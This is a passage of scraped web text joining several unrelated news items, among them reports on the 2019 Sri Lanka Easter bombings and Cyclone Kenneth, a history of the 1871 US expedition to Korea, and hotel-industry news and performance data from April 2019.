entitled to from Washington, and I intend to make that happen. Sri Lankan police are trying to track down 140 people believed linked to Islamic State, which claimed responsibility for the Easter Sunday suicide bombings that killed 253, as shooting erupted in the east during a raid. Muslims in Sri Lanka were urged to pray at home after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence. And the U.S. Embassy in Sri Lanka urged its citizens to avoid places of worship over the weekend after authorities reported there could be more attacks targeting religious centres. Archbishop of Colombo Cardinal Malcolm Ranjith told reporters he had seen a leaked internal security document warning of further attacks on churches and there would be no Catholic masses this Sunday anywhere on the island. The streets of Colombo were deserted on Friday evening, with many people leaving offices early amid tight security after the suicide bombing attacks on three churches and four hotels that also wounded about 500 people. Also read: Sri Lanka attacks: Could lives have been saved? President Maithripala Sirisena told reporters some Sri Lankan youths had been involved with Islamic State since 2013. He said information uncovered so far suggested there were 140 people in Sri Lanka involved in Islamic State activities. Police are looking to arrest them, Sirisena said. Nearly 10,000 soldiers were deployed across the Indian Ocean island state to carry out searches and provide security for religious centres, the military said on Friday. The All Ceylon Jamiyathul Ullama, Sri Lankas main Islamic religious body, urged Muslims to conduct prayers at home in case there is a need to protect family and properties. Also read: Exclusive: Will seek Pakistan help to trace terrorists if needed: Sri Lanka PM Illustrating the tension that has gripped the country, shooting erupted between security forces and a group of men in the east during a search and cordon operation, a military spokesman said. The raid took place in the town of Ampara Sainthamaruthu near Batticaloa. The spokesman said there was an explosion in the area and when soldiers went to investigate they were fired upon. No details of casualties were immediately available. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Islamic State provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. The extremist group released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black Islamic State flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. DEFENCE, POLICE CHIEFS QUIT The government said nine homegrown, well-educated suicide bombers carried out the attacks, eight of whom had been identified. One was a woman. Authorities have so far focused their investigations on international links to two domestic Islamist groups - National Thawheed Jamaut and Jammiyathul Millathu Ibrahim - they believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Sirisena said top defence and police chiefs had not shared information with him about the impending attacks. Defence Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. The police chief said he will resign now, Sirisena said. He blamed Prime Minister Ranil Wickremesinghes government for weakening the intelligence system by focusing on the prosecution of military officers over alleged war crimes during a decade-long civil war with Tamil separatists that ended in 2009. Sirisena fired Wickremesinghe in October over political differences, only to reinstate him weeks later under pressure from the Supreme Court. Opposing factions aligned to Wickremesinghe and Sirisena have often refused to communicate with each other and blame any setbacks on their opponents, government sources say. Cardinal Ranjith said that the church had been kept in the dark about intelligence warning of attacks. We didnt know anything. It came as a thunderbolt for us, he said. The Easter Sunday bombings shattered the relative calm that had existed in Buddhist-majority Sri Lanka since the civil war against mostly Hindu ethnic Tamil separatists ended. Sri Lankas 22 million people include minority Christians, Muslims and Hindus. Until now, Christians had largely managed to avoid the worst of the islands conflict and communal tensions. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, U.S., Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary. Fears of retaliatory sectarian violence have already caused Muslim communities to flee their homes amid bomb scares, lockdowns and security sweeps. But at the Kollupitiya Jumma Masjid mosque, tucked away in a Colombo side street, hundreds attended a service they say was focused on a call for people of all religions to help return peace to Sri Lanka. Its a very sad situation, said 28-year-old sales worker Raees Ulhaq, as soldiers hurried on dawdling worshippers and sniffer dogs nosed their way through pot-holed lanes. We work with Christians, Buddhists, Hindus. It has been a threat for all of us because of what these few people have done to this beautiful country. By the latter half of the 19th century international trade had become increasingly important to the power and influence a nation was able to project. Great Britain, France, Germany, the Netherlands and Spain were among the significant Western rivals, as was a spirited new contender, the United States, which was increasingly flexing its foreign-relations muscles. In the summer of 1871 the hermit kingdom of Korea became an unintentional pawn in the latters rise as a global economic and military power. Notwithstanding the growing import of international trade as a measure of world status, the millennia-old Korean realm stubbornly resisted being swept up into corrupting trade agreements with Western countries. As the ruling Joseon dynasty crafted its foreign policy, it drew lessons from Chinas humiliating mid19th century Opium wars with Britain. Its isolation was self-imposed. But could it resist the global tides of change? The rapidly developing industrialization of war in Western nationsespecially the development of increasingly lethal battlefield weaponryproved a wild card in the events that characterized that contentious era. Such dynamic geopolitical circumstances formed the backdrop for the 1871 U.S. Expedition to Korea, which culminated in the Battle of Ganghwa. Though its operational name might evoke an old-time Boy Scout jamboree, the expedition was in fact a U.S. Navy/Marine Corps joint combat operation. The Koreans recalled it as Shinmiyangyo, or Western Disturbance in the Shinmi Year [1871]. While largely dismissed by modern historians (a recent U.S. Naval Institute News article referred to Ganghwa as an obscure 19th century military action), the 1871 battle foreshadowed current concepts of global force projection, particularly by means of amphibious warfare. It also was an inexact, if thought-provoking, precursor of both the Korean War of 195053 and the lingering diplomatic tensions between a still-enigmatic North Korea and a globally oriented United States. The catalyst of the 1871 expedition was an attack on the side-wheel steamer General Sherman, an armed, American-flagged merchant ship of dubious reputation. In July 1866 the trading vessel entered Korean waters uninvited and fell afoul of local officials. In the violent exchange that followed, Korean soldiers besieged the steamer in a channel opposite Pyongyang, ultimately destroying it with a fireship and killing every member of its crew. Inquiries from U.S. diplomats concerning the fate of General Sherman and its mostly American crew went unanswered for five years. Finally, in 1871 Washington decided to bolster its inquiries with action, sending to Korea the newly formed U.S. Navy Asiatic Squadron, led by Rear Adm. John Rodgers. As a young officer in the mid-1850s Rodgers had earned modest diplomatic credentials with his participation in the opening of U.S.Japanese trade relations, spearheaded by Commodore Matthew Perry, who had served under Rodgers namesake father during the War of 1812. Embarking with the squadron was U.S. Ambassador to China Frederick Low, with a twofold mission: to investigate the circumstances of General Shermans destruction and to secure a trade agreement with Korea. While Lows secondary objective was inarguably more far-reaching, a contemporary account in The New York Times played on the more jingoistic aspects of the Asiatic Squadrons mission, exclaiming the undertaking would produce a Detailed Account of the Treacherous Attack of the Coreans [sic] with Speedy and Effective Punishment of the Barbarians. The weight accorded Lows mission could be measured by the Asiatic Squadrons conspicuous firepower. Its vessels included the flagship screw frigate USS Colorado (with two 150-pounder rifled guns, one 11-inch gun, forty-two 9-inch guns, two 20-pounder howitzers and six 12-pounder howitzers), the screw sloops-of-war USS Alaska and USS Benicia (each with one 60-pounder howitzer, one 11-inch gun and two 20-pounder rifled guns, Benicia with an additional ten 9-inch guns), the side-wheel gunboat USS Monocacy (with two 60-pounder howitzers and four 8-inch guns) and the gunboat USS Palos (with four 24-pounder howitzers and two 24-pounder rifled howitzers). Also aboard the ships were 542 armed sailors and a detachment of 109 Marines commanded by Capt. McLane Tilton, fleet Marine officer of the Asiatic Squadron from 1870 to 1873. The squadrons uncounted but tactically important small launches, cutters and whaleboats would ferry men and materiel between the ships and shore. Such craft were the improvised precursors of the specialized, bow-ramped Higgins boat landing craft many historians largely credit for the Allied victory in World War II. On May 24 the fleet reached Asan Bay, dominated by Ganghwa Island, at the mouth of a river network leading to the capital city of Hanyang (present-day Seoul, South Korea). Guarding the approach were three forts, beyond which rose a citadel, strategically sited at a narrows farther upriver. The terrain was irregular, with numerous ravines and rough ground. In a letter to his wife Tilton wrote of the countrysides beautiful hills and inundated rice fields. On June 1, with the fleet at anchor and negotiations under way at Inchon, Palos and Monocacy set out to survey the bay and shoreline; Korean shore batteries promptly fired on them. After shelling the forts into silence, the gunboats returned to the fleet. There were no U.S. casualties, but Adm. Rodgers filed a protest with the Joseon government, demanding a formal apology within 10 days, or he would pursue retaliatory action. On June 10, with no Korean response, Rodgersalbeit a day prematurelylaunched a full-blown amphibious assault, deploying the Marine detachment and armed sailors. In his after-action report the admiral described the initial landing: The point chosen for the disembarkation, while seemingly as good as any in other respects, was for military reasons deemed the best, since it flanked the enemys works and left nothing to be feared in our rear. The character of the shore was unknown, and it proved to be most unfavorable for our purpose. Between the water and the firm land a broad belt of soft mud, traversed by deep gullies, had to be passed. The men, stepping from the boats, sank to the knees, and so tenacious was the clay that in many cases they lost gaiters and shoes and even trowsers [sic] legs. As soon as firm ground was attained, the infantry battalion was formed, and the Marines deployed as skirmishers. The advance at once began, and the first fort [Cho ji jin, renamed the Marine Redoubt] was quietly occupied. After destroying its walls and stores and either spiking or casting its guns into the estuary, the attackers encamped outside the ruined fortbecoming the first Western troops to camp on Korean soil. The next morning the Americans methodically attacked, overran and razed the remaining forts. About 300 defenders remained holed up in the heavily defended, horseshoe-shaped citadelthe Koreans last bastion. Massing behind a hill within 150 yards of its walls, the Americans readied their assault. The attack order came around noon. Leading the charge was young Navy Lt. Hugh McKee, one of Rodgers flagship officers, who was killed as he bounded over the parapet. The fight, though it lasted less than a half-hour, was especially bitter. Rodgers recalled the opening action: When all was ready, the order to charge was given by Lt. Cmdr. [Silas] Casey, and our men rushed forward down the slope and up the opposite hill. The enemy maintained their fire with the utmost rapidity until our men got quite up the hill, then, having no time to load, [the Koreans] mounted the parapet and cast stones upon our men below, fighting with the greatest fury. The Koreans desperate use of stones as weapons underscores the disparity in arms between the American attackers and Korean defenders. The latter also employed antiquated cannonssome lashed to logsas well as spears, swords and tripod-mounted matchlock muskets dating from the 15th century. In contrast, the sailors in the shore party were armed with modern, rapid-firing .50-caliber Remington rolling-block carbines. The Marines Springfield muskets, while older than their Navy comrades firearms, were still far superior to Korean weaponry. In support of the assaulting troops the five U.S. warships rained devastating gunfire on the citadels defenders. The results were unsurprisingthree Americans were killed to 243 Koreans. As the garrison fell, the fighting abruptly ceased. In the wake of the battle U.S. officers recommended Medals of Honor for nine sailors (Ordinary Seaman John Andrews, Quartermaster Frederick Franklin, Chief Quartermaster Patrick Grace, Carpenter Cyrus Hayden, Landsman William Lukes, Boatswains Mate Alexander McKenzie, Landsman James Merton, Quartermaster Samuel Rogers and Ordinary Seaman William Troy) and six Marines (Cpl. Charles Brown and Pvts. John Coleman, James Dougherty, Michael McNamara, Michael Owens and Hugh Purvis). Excerpts from their award citations reflect the ferocity of the battle: Fighting courageously in hand-to-hand combat, Owens was badly wounded by the enemy during this action. Fighting courageously at the side of Lt. McKee during this action, Rogers was wounded by the enemy. Advancing to the parapet, McNamara [wrenched] the matchlock from the hands of an enemy and [killed] him. Braving the enemy fire, Purvis was the first to scale the walls of the fort and capture the flag of the Korean forces. Serving as color bearer of the battalion, Hayden planted his flag on the ramparts of the citadel and protected it under a heavy fire from the enemy. The citations speak to a valor beyond raw courage under fire. Marine Pvt. Colemans citation praises him for saving the life of fellow medal recipient Boatswains Mate McKenzie, highlighting the selfless camaraderie that bonded the Marines and sailors. Marine Cpl. Brown is commended for his efforts in capturing the Korean standard in the center of the citadel of the Korean fort, a symbolic achievement more commonly associated with earlier battles and times. (The roughly 15-square-foot Sujagi battle standard was later sent to the U.S. Naval Academy in Annapolis, Md., adhering to an 1849 order by President James Polk that any such flags, standards or colors captured by the Navy be housed there.) Still other citations detail the truly savage nature of hand-to-hand fighting at the height of the siege. All underscore the truism that while higher-ups may do the grand strategizing, it is the nameless, often thankless warrior who makes it so. The technologically overmatched defenders had fought hard, most to their deaths, including General Eo Jae-yeon. To the Koreans surrender was unthinkable, and Tilton underscored their total commitment in a letter to his wife. They were fighting not solely for their own survival, he explained, but for the survival of their families and the community at large. The Corean [sic] soldiers fought like tigers, having been told by the king [Gojong], if they lost the place, the heads of everybody on Kang Hoa [sic] Island, on which the forts stood, should be cut off. On July 3 the Asiatic Squadron withdrew and sailed for the consular port at Chefoo, China. If nothing else, the Battle of Ganghwa had demonstrated growing U.S. military confidence and prowess, notably in the discipline of amphibious warfare. The engagement represented a violent collision between centuries-old, inward-focused traditions and the New World of international trade, industrial technology and global power projection. It also sent a forceful messagethat depredations against U.S. citizens would henceforth incur severe military consequences. Despite their tactical victory at Ganghwa, however, the Americans were unable to wrest a corresponding trade agreement from the chastened kingdom. In fact, the battle fostered profound resentment among the Koreans, who attached deep emotional significance to the ancient glories of their hermit kingdom. That said, the threat of American military projection did prove a critical boon for U.S. economic interests in the region and usher in a more stable environment for world trade. In his concise survey The U.S. Navy: A History author Nathan Miller deftly sums up the battle and its long-range implications. Although Rodgers attempt to blow open the door to Korea failed, he writes, it did prepare the way for Commodore Robert W. Shufeldt to negotiate a treaty between Korea and the United States in 1881the first that Korea signed with a Western nation. By the turn of the 20th century, no matter how the Koreans felt about modernization at the hands of Western European nations, their countryand indeed the entire regionwas on a steady, irrevocable path to change. The question remains whether they can meet future challenges with any measure of the unity they once shared as a kingdom. Retired U.S. Navy Rear Adm. Joseph F. Callo is a New Yorkbased historian and writer on maritime topics. For further reading he recommends The U.S. Navy: A Concise History, by Nathan Miller, and The Savage Wars of Peace: Small Wars and the Rise of American Power, by Max Boot. "There is very appalling and disturbing evidence that at least one or two of these victims were targeted based on the defendant's view of what their race or religion may have been," he said. Gun activists denounced the treaty when it was under negotiation as an infringement of civilian firearm ownership, despite the well-enshrined legal principle that says no treaty can override the Constitution or U.S. laws. The treaty is aimed at cracking down on illicit trading in small arms, thereby curbing violence in some of the most troubled corners of the world. (CNN) Thousands of people were being evacuated to shelters Thursday as powerful Tropical Cyclone Kenneth bore down on northern Mozambique. The storm had maximum sustained winds of 220 kph (140 mph) the equivalent of a Category 4 hurricane. Kenneth comes a little more than a month after the country was dealt a devastating blow by the deadliest and costliest storm in its history Tropical Cyclone Idai. Kenneth is the strongest tropical cyclone to hit Mozambique in known history. The National Institute of Disaster Management in Mozambique said it had provided shelters and begun "compulsory evacuation" of families to the shelters. In addition to the dangerous winds and storm surge, Kenneth will bring torrential rainfall and significant flooding. More than 20 inches of rain is projected over the next four days roughly four times the average monthly rainfall for the region. Kenneth strengthened rapidly Wednesday and continued to intensify Thursday morning. Landfall was expected approximately 1,000 kilometers (620 miles) north of where Idai struck. "Residents along the Mozambique/Tanzania border should make preparations for storm surge along the coasts, heavy rainfall, and hurricane-force winds," NASA warned. In Tanzania, Kenneth is expected to hit the coastal areas of Dar es Salaam, the port city of Tanga and Pemba Island, according to the Tanzania Meteorological Agency. Strong winds and rain may affect the Lake Victoria basin, its mountainous regions and the coast, forecasters said. Local authorities in Tanzania advised residents to stay indoors in these areas for their safety. While the zone slammed by Idai will be spared, Kenneth still will strike Mozambique just one month after that storm killed more than 700 people and displaced tens of thousands. It caused an estimated $1 billion dollars in damage, or nearly 10% of the nation's gross domestic product. Kenneth should be less devastating than Idai Kenneth's impact is not expected to be as devastating as that of Idai, which delivered heavy rains for days before and after making landfall on March 15, with winds near 175 kph (109 mph). Idai's sustained rainfall, combined with strong winds and storm surge, set the stage for catastrophic flooding that submerged towns and villages as the storm pushed inland toward Zimbabwe and Malawi. Northern Mozambique is not as populated as Beira, the population hub struck by Idai. Several rivers come together there and flow into the Mozambique Channel, a factor that made the region more vulnerable to flooding. The nation's northern region has not seen intense rainfall in recent days, which hopefully will mitigate the impact of flooding compared with Idai. Tropical Cyclone Leon-Eline had been the strongest cyclone to ever hit Mozambique. It ripped through the region in 2000, with winds just over 210 kph (130 mph) and resulted in about 800 deaths. This story was first published on CNN.com, "Cyclone Kenneth: Thousands evacuated as Mozambique is hit with the strongest storm in its history." He loved Chicago, and he was drawn to real estate when he was a kid, Kutill said. He wanted to be an appraiser when he was in high school. He just found it fascinating. Hes one of those rare individuals who was able to do exactly what he wanted to do all his life. Some of our ancestors came across a perilous ocean on rickety ships, some of them in steerage and some of them in chains, with the added attractions of rats, scurvy and stale hardtack. Our forebears crossed the continent in covered wagons, on horseback, in canoes or on poorly shod foot. Many of them risked their lives; all of them sacrificed their comforts, if they had any. (For a lot of people in the world, of course, things havent changed much since then.) Now Open 26 April 2019 Hilton's (NYSE: HLT) Hampton by Hilton, the global upper-midscale brand known for its commitment to providing unmatched guest service, today announced the opening of its newest property, Hampton Inn by Hilton Black Mountain in Black Mountain, N.C. Adjacent to the Swannanoa River and within walking distance to downtown Black Mountain, this 95-room hotel features an indoor pool, fitness center, outdoor patio, 600-square-foot meeting room, lobby bar with craft beers and wines, and on-site parking. Every Hampton by Hilton guest will enjoy the brand's free, hot breakfast with healthy options, On the Run breakfast bags, and free WiFi in every room. Hampton Inn by Hilton Black Mountain is located at 306 Black Mountain Avenue, near a forthcoming greenway and less than a 10-minute walk to the historic center of the own of Black Mountain. The property is 15 miles east of downtown Asheville. "Hampton Inn by Hilton Black Mountain's support of the expanding Riverwalk Greenway near its property shows a real commitment to our community," remarked Jessica Trotman, director of planning and development of the Town of Black Mountain. Pipeline 26 April 2019 IHG (InterContinental Hotels Group), one of the world's largest hotel companies, has signed a management agreement with City Motors Group for a new-built Holiday Inn in the affluent creative hub of Kuala Lumpur - Bangsar, Kuala Lumpur. Holiday Inn Kuala Lumpur Bangsar will be the fourth IHG property in the Malaysian capital. Slated to open in 2023, the hotel will feature 220 rooms and six meeting rooms, the largest of which will hold approximately 400 people. The hotels plans to incorporate the Holiday Inn Open Lobby concept, which will combine public facilities within a single, open cohesive space, creating flexibility for guests, whether they're looking to eat, relax, work, or have fun. The hotel will also feature an outdoor swimming pool and gym. Centrally located at Jalan Maarof and Jalan Bangsar, the hotel is but a 350m stone's throw to the Bangsar LRT station. Close to key destinations within Kuala Lumpur, including KLCC, Chinatown and Bukit Bintang, the hotel meets the needs of both business travellers and tourists. The highly fashionable Bangsar area is popular for its dining and night life experiences, cultural attractions, and for its retail outlets. Bangsar is becoming a strong foothold for professional services, creative, and technology-focused firms are locating to the area due to competitive office spaces, a wealth of amenities, and easy access via the public transport. Bangsar is a stone's throw away from KL Sentral, connecting visitors to Kuala Lumpur International Airport and beyond through the city's Express Rail Line (ERL). The Hotel is well-positioned to capitalise on the area's interconnectivity, including to locations such as Bangsar Village, Bangsar Shopping Centre, Mid Valley Megamall, and Bangsar South. Appointment 26 April 2019 Yesterday Christian Rothbauer officially welcomed its first guests to the NH Collection Amsterdam Flower Market. The new General Manager of the hotel, which has been out of service for an intensive renovation since December 2018, took up his duties on 1 February. Since that date Christian Rothbauer leads the former NH Carlton Amsterdam and has ample opportunity to combine his experience and love for the hotel business with his passion for gastronomy. With the opening of the NH Collection Amsterdam Flower Market, the fifth NH Collection hotel in the Netherlands and the 77th worldwide is a fact. These figures show the rapid growth of this young premium brand that has only been around for five years. Christian Rothbauer started his career with internships and positions in hotels around the world, ranging from the Waldorf Astoria in New York to the historic Bayerischer Hof in Munich. At a young age he wanted to become a lift boy and gradually adjusted his ambitions. In 2015, Christian joined NH Hotel Group as Assistant General Manager at NH Collection Wien Zentrum. He eventually developed into a Cluster General Manager. In these positions he was involved in the opening process of the first NH Collection hotel in Austria, the implementation of rebranding and commercial strategies. After four years at NH Hotel Group, Christian has exchanged the city of Vienna for bustling Amsterdam. Appointment 26 April 2019 Shiji is honored to appoint Mr. Hirofumi Nakano as General Manager of Shiji Japan to manage the sales and operations of the office. Mr. Nakano and Shiji Japan is tasked with promoting the company's global products such as Infrasys Cloud POS, Shiji Distribution Solutions and more. Mr. Nakano will focus on establishing a strong presence for Shiji in Japan and promote continuous business growth. Before this appointment Mr. Hirofumi enjoyed an eight year career at InterContinental Hotels Group, where he acted as Director of Hotel & Owner Solutions, South East Asia & Korea, in this role, he was responsible for the technical operations and opening support for more than 90 hotels and 10 countries in this region. "Hirofumi joins Shiji with strong background in hospitality technology and leadership. His Knowledge and insight with hotel technology sector will bring us great value to promote the growth of the Japanese market." Said Nikkie Randhawa-Singh, Managing Director, APAC of Shiji Group. "I am thrilled to join Shiji and lead the Japanese office. Shiji Group's products have earned great recognition in Asia Pacific region and globally, I see great potential in Japan and am very confident with the development of the next stage." said Mr. Nakano. Press Release 26 April 2019 Not all Chinese wine tourists are the same. Although wine tourism is becoming more popular in China according to a study published recently by a group of researchers including SHTM professors Hanqin Qiu Zhang and Brian King, there is wide variation in tourists' level of involvement in wine-based activities. Drawing on the findings of a survey measuring levels of involvement in and perceptions of wine tourism, the researchers provide useful information for marketers aiming to develop targeted trips and marketing strategies. Advertisements Interest in wine tourism has increased worldwide as tourists seek "authentic and individualistic experiences" while on vacation, the researchers state. Chinese consumers' increased interest in wine tasting and general wine consumption is particularly notable, probably developing as new opportunities to experience wine culture have emerged. For instance, in 2012 the Australian government introduced a number of measures to increase the number of Chinese wine tourists, including Chinese-language websites and wine tours with Chinese-speaking staff. Indeed, the researchers observe that although the emergence of Chinese wine tourism has "elicited considerable industry attention", little effort has been made to understand and segment this new market. To develop effective marketing strategies, they claim, destination marketers need information about differences in consumer behaviour, motivations and attitudes. For instance, wine tourists may be "motivated by wine, lifestyle experiences that involve food and wine" or by the "passive enjoyment of the natural beauty of wine regions". Central to understanding these sorts of consumer behaviours is the concept of "involvement". The level of tourist involvement in an activity or product is influenced by many factors, such as their perceived importance and risk and their anticipated pleasure. The researchers contend that including the concept of involvement in market segmentation studies provides more sophisticated information than merely measuring socio-demographic and behavioural factors. Hence, they set out to differentiate Chinese wine tourists based on their involvement, travel behaviour and demographics. Following interviews with 19 tourists attending wine tasting events in China, Hong Kong and Australia, and a pilot study, the researchers developed the Wine Tourism Involvement scale. They then incorporated this scale in a survey of Chinese tourists in Australia between December and February, a peak period for visits. The 503 tourists who completed questionnaires after winery visits were mainly aged between 18 and 55, and about 60% were female. More than 60% were from the mainland, and the rest were from Hong Kong, Macau and Taiwan. Just over half had visited the country before, but only 36% were "serious wine tourists". Still, more than 60% indicated that they were looking forward to "experiencing excellent wine". In analysing their findings, the researchers identified the four key dimensions of Interests and Importance, Risk Importance and Possibility, Risk Avoidance, and Status Value. Just over 20% of the respondents scored low in all four dimensions and were classified as "low involvement wine tourists". More than half of these came from Hong Kong, Macau and Taiwan, and they regarded wine tourism as an incidental activity. Indeed, they were more interested in the overall experience than in trying excellent wine. In contrast, 27% of respondents scored high on all four dimensions and were classified as "highly involved wine tourists". For many of these, who originated in "diverse locations across Mainland China" according to the researchers, wine tourism and tasting excellent wine was their main purpose of visit, and they were highly involved in the activities on offer. The third category was the smallest, representing 18% of the respondents, who again were more likely to come from the Chinese mainland. This group of "interest-driven wine tourists" scored highly on the Interests and Importance dimension, with almost 80% saying that they were mainly interested in tasting excellent wine. The fourth and biggest category, accounting for almost 34% of the respondents and largely comprising Hong Kong, Macau, Taiwan and Beijing residents, were "high wine-risk perception wine tourists". These respondents reported low levels of involvement but high levels of risk perception and avoidance. They were concerned, for instance, that they might be disappointed if they bought wines that did not live up to their expectations. Hence, they were likely to choose familiar or famous wines to avoid making the wrong decision. The researchers note that tourists in the fourth category were quite similar to those in the "low involvement" category. For them, wine tasting was only an incidental part of the trip and they were less involved in wine-related activities. Even so, the four categories of Chinese wine tourist were quite distinct, which would not have been as obvious had the researchers adopted a more conventional route to understanding market segments. Comparison of the four tourist groups showed "more similarities than differences" in their demographic and socio-economic characteristics, which are far more commonly measured. The findings, then, will provide marketers with a better basis for targeting wine tourists with different strategies and destinations. For instance, only a minority of the respondents considered wine to be the focus of their trips. This reflects the recent emergence of interest in wine among Chinese consumers, but also works against any presumption that wine is the primary motive for wine tourists. Indeed, marketing organisations promoting tours should be aware that Chinese tourists usually include visits to wineries only as part of what the researchers describe as "a wider mix of attractions". Moreover, the respondents noted that sharing their experiences with others was an important motivation for undertaking wine tourism. The researchers interpret this as suggesting that marketers could design activities "in an interesting way" to provide opportunities for tourists to "show off their lifestyle and taste within their social circle". The perception of risk amongst respondents could also provide an opening for marketers. Although many of the respondents considered wine a "good quality gift", an equally large number perceived it to be rather risky, as buying the wrong wine could mean losing face. To reduce their concern, marketers should emphasise the features and qualities of different wine regions and categories. Even more importantly, the researchers suggest, service employees could "develop an understanding of consumer demands and of Chinese gift-giving culture" so that they could provide more appropriate information and assistance. Concerned with helping to "establish future marketing strategies and destination positioning", the researchers ably demonstrate the heterogeneity of Chinese wine tourists. Yet they note the market's dynamism, pushed by "the combined forces of globalisation and the Internet", and conclude with a call for further investigations in the area. Wine consumption and culture are, after all, evolving rapidly among Chinese consumers. Gu, Qiushi, Zhang, Hanqin Qiu, King, Brian and Huang, Songshan (Sam). (2018). Wine Tourism Involvement: A Segmentation of Chinese Tourists. Journal of Travel & Tourism Marketing, 35(5), 633-648. External Article 26 April 2019 All of the buzzwords are here in CEO Sonia Cheng's strategy from co-working and community to recognition and technology but can Rosewood continue to maintain its uniqueness, even as it goes after what all the other hotel brands are going after, too? Given its track record, it just might. It's only been eight years since the former New World Hospitality group a division of the larger Hong Kong-based conglomerate Chow Tai Fook Enterprises purchased luxury brand Rosewood Hotels for $229 million. And in that time, Rosewood Hotel Group CEO Sonia Cheng has made it her singular goal to take the brand global, as well as retain its luxury heritage and make sure it remains relevant. "I think that the last eight years have been just transformational for the brand," Cheng said. "When we acquired Rosewood, we feel that there is significant potential with this brand, with all the DNA. But it was not present globally. And so the mission is really take the beautiful brand and make it a global, clearly recognized brand. And we've done that, and more, I think." Just this year, the company opened its flagship property in Hong Kong, where Cheng is based, and most recently, in March, a hotel in the heart of Bangkok. The newly opened Rosewood Hong Kong was "a project that was 10 years in the making" and, according to Cheng, "it's the most comprehensive expression of the Rosewood brand and the vision of the Rosewood brand." Opinion Article 26 April 2019 Talking with fellow travel PR professionals and hospitality industry executives I am increasingly reminded of the scene in the Odyssey where the Sirens shout out temptations to Odysseus and his crew and it is only because he has plugged the ears of the crew and lashed himself to the mast to make himself resist the temptations of the Sirens that he is able to safely sail past them and to continue his journey. Advertisements Seems like many travel PR and marketing meetings of today. We are whipped around by temptations: Go all in on Facebook. Facebook is dead, Instagram is a must. It's all about Snapchat. YouTube is what matters in travel. Legacy, print media no longer matter. Press trips are dead. Traditional media deliver unique, powerful plusses to those who use them smartly. Travel PR is dead, it's all about digital marketing. Digital marketing is a cash sinkhole without tangible benefits. If you can't measure it it didn't happen. What's critical are the intangibles that can't be measured. You want to scream, don't you? In travel PR and marketing today we are facing a crossroads. Under challenge are all - absolutely all - the traditional techniques and tactics. But equally suspect are the new tools and tactics that some scream are the road to travel successes.. Let the shouting begin! There is a way through this. A route that will bring significant rewards to the hospitality professionals who practice this discipline. Just as Odysseus found his way, so shall we. It starts here: ignore shiny objects. Ignore the Sirens. Right now there is a stampede of hospitality marketing executives screaming about their property's wellness offerings, how the design is so hip, and, did I mention, there are community spaces that invite in the locals and the vibe is compelling. Or maybe it's the rush to open yet another rooftop bar, or to put a vegan track on the restaurant menu. Understand this: there is nothing wrong, in fact there is much good, about wellness offerings, hip design, community spaces, rooftop bars and vegan food. The question here is are you doing it because you are a dedicated follower of fashion or because you truly care and you know your audience cares? Success lies with doing what genuinely matters - to us, to our community, to our guests. One week the dedicated follower of fashion is in polka dots, the next in stripes, and that's how it goes with followers of fashion. Those who know what matters stay the course. And knowing the course is the key to seeing what matters and what needs to be done in marketing and PR. Here's where to start in building a travel PR and marketing campaign: zero in on the unique selling proposition and know that every property, every venue has a USP. Sure, some are better than others (the Grand Canyon vs. a state park in New Jersey) - but every place has a USP. Dig until you know it. Then ask who will be attracted to this USP. Always there is an audience. Always. Probe until you know it. Next question: how to reach that audience? What do they read, watch, what apps do they use, where do their eyes go? Research has the answers. Data matters today. Facts rule. When there are uncertainties - and uncertainty is commonplace in travel PR - get more facts, get more data and know that the path to right knowledge is illuminated by data. When next you are in a meeting and the conversation is a flutter with today's fashion, call a timeout and shift the focus to the USP, what matters to the audience, and where to find the audience. Remember too that - for most venues - what will work is essentially what has worked for some years, a clever mix of what's old with what's new. Tilt too much in one direction and that creates imbalance. Go all in on Snapchat and good luck with that. I'd say the same about a campaign that used only legacy media outlets. Mix it up, blend the traditional with the innovative in a proportion specifically crafted for the audience that's needed for this venue, in this moment. And don't hear the Sirens, don't be a dedicated follower of fashion, and don't fall for the shiny objects. Success follows. It's not quite that easy. But almost. Performance 26 April 2019 Bali performance lifted by strong inbound tourism performance lifted by strong inbound tourism Phuket experiences lowest Q1 occupancy since 2015 Advertisements Hotels in the Asia Pacific region reported negative results across the three key performance metrics during Q1 2019, according to data from STR. U.S. dollar constant currency, Q1 2019 vs. Q1 2018 Asia Pacific Occupancy: -1.3% to 67.4% Average daily rate (ADR): -0.9% to US$103.63 Revenue per available room (RevPAR): -2.2% to US$69.81 Local currency, Q1 2019 vs. Q1 2018 Bali, Indonesia Occupancy: +0.1% to 60.6% ADR: +14.3% to IDR1,439,349.34 RevPAR: +14.4% to IDR871,828.26 STR analysts note that the strong comparison with Q1 2018 was due primarily to low performance in January 2018 caused by the Mount Agung eruption. During the first two months of 2019, Bali welcomed more than 890,000 international visitors (+10.2%), according to the Bureau of Statistics in Bali. Phuket, Thailand Occupancy: -7.0% to 84.5% ADR: -5.7% to THB5,098.74 RevPAR: -12.3% to THB4,310.34 The occupancy level was the lowest for any Q1 in Phuket since 2015. STR analysts partially attribute the drop in performance during the market's high season to a continued lack of visitors from Mainland China as well as the general elections held in March. Performance 26 April 2019 HENDERSONVILLE, Tennessee The Canadian hotel industry recorded negative year-over-year results in the three key performance metrics during the week of 14-20 April 2019, according to data from STR. Advertisements In comparison with the week of 15-21 April 2018, the industry reported the following: Occupancy: -11.6% to 57.6% Average daily rate (ADR): -0.7% to CAD147.97 Revenue per available room (RevPAR): -12.3% to CAD85.28 Among the provinces and territories, British Columbia registered the only increase in RevPAR (+10.0% to CAD117.82), due primarily to the only double-digit lift in ADR (+11.3% to CAD173.18). Prince Edward Island posted the only other rise in ADR (+3.1% to CAD123.95). None of the provinces or territories experienced a rise in occupancy. Nova Scotia reported the largest declines in each of the three key performance metrics: occupancy (-34.3% to 49.0%), ADR (-17.2% to CAD125.34) and RevPAR (-45.6% to CAD61.43). Newfoundland and Labrador saw the second-steepest drop in ADR (-13.2% to CAD114.19), which resulted in the second-largest decrease in RevPAR (-28.9% to 